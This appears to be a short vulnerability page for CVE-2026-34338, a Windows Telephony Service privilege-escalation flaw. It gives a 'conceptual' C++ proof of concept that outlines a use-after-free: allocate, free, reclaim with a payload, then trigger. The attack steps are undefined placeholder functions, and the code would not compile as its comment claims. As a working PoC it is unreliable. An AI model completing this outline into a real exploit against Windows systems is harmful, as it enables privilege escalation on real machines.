CVE-2026-34338 Windows电话服务权限提升漏洞

/* * PoC for CVE-2026-34338 (Conceptual) * This code demonstrates the logic to trigger the UAF condition. * Compile with: cl.exe poc.cpp */ #include <windows.h> #include <tapi.h> void TriggerUAF() { // Initialize the Telephony Service environment HLINEAPP hLineApp; DWORD dwNumDevs; DWORD dwAPIVersion = TAPI_CURRENT_VERSION; // Open a line to initialize the service context long lReturn = lineInitialize(&hLineApp, GetModuleHandle(NULL), NULL, L"PoC", &dwNumDevs); if (lReturn != 0) { printf("[-] Failed to initialize TAPI. Error: %d\n", lReturn); return; } printf("[+] TAPI Initialized. Attempting to trigger UAF...\n"); // Step 1: Allocate and manipulate the vulnerable object // (Specific API calls omitted for brevity/safety) HANDLE hVulnObj = CreateVulnerableObject(); // Step 2: Force the object to be freed (Use After Free trigger) FreeVulnerableObject(hVulnObj); // Step 3: Reclaim the freed memory with controlled payload // This simulates the attacker controlling the execution flow FillFreedMemoryWithPayload(); // Step 4: Trigger the dangling pointer access CallVulnerableFunction(); lineShutdown(hLineApp); } int main() { TriggerUAF(); return 0; }